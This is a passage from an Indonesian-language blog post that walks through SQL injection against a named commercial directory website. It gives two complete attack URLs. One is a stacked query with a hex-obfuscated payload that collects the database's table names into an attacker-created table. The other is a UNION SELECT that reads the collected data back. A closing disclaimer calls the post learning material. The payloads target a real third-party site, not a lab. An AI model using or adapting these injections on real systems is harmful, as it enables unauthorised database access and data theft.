5. Ternyata Query yang kita modifikasi berjalan dengan Sukses, OK kita langsung saja implementasi ke lapangan dengan harapan SQL tersebut tereksekusi dengan baik.. Karena kita telah membuat table test kita tinggal menjalankan Query untuk mengisi table test
http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;DECLARE @a varchar(8000) SET @a = CAST(0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45534345284078 202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F626A6563747320284E4F4C4F4 34B2920494E5345525420494E544F20746573742056414C554553202840782920 AS VARCHAR (8000)) EXEC (@a);--
Dan tidak ada error, hore hore hore…. Akhirnya bisa juga di execute querynya... oops apakah bener Query tersebut sukses di execute ?
6. Sebagai penutup dari trik ini saya akan melakukan SELECT dari table test yang telah kita buat diatas
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT fieldtest,‘2’,'3','4','5','6','7','8','9' FROM test ;--&t=1
Kesimpulan
Bener bener deh, jika kita tidak mudah menyerah dan mau sedikit berimprovisasi kita akan mendapatkan segala sesuatu yang kita inginkan :) Terima Kasih telah meluangkan waktu untuk membaca artikel yang panjang dan cupu ini.. Jika ada kesalahan kata maupun ada teknik yang lebih keren... Mohon artikel ini diperbaiki..... Thanks to semuanya yang sudah membantu baik dukungan moril maupun materiil ... Viva Indonesia...
NB : Artikel ini adalah pembelajaran bukan tutorial untuk melakukan hacking terhadap sebuah situs, kalo ada penyalahgunaan terhadap artikel ini saya (new-bee) tidak bertanggung jawab. Terima kasih.
Langganan:
Postingan (Atom)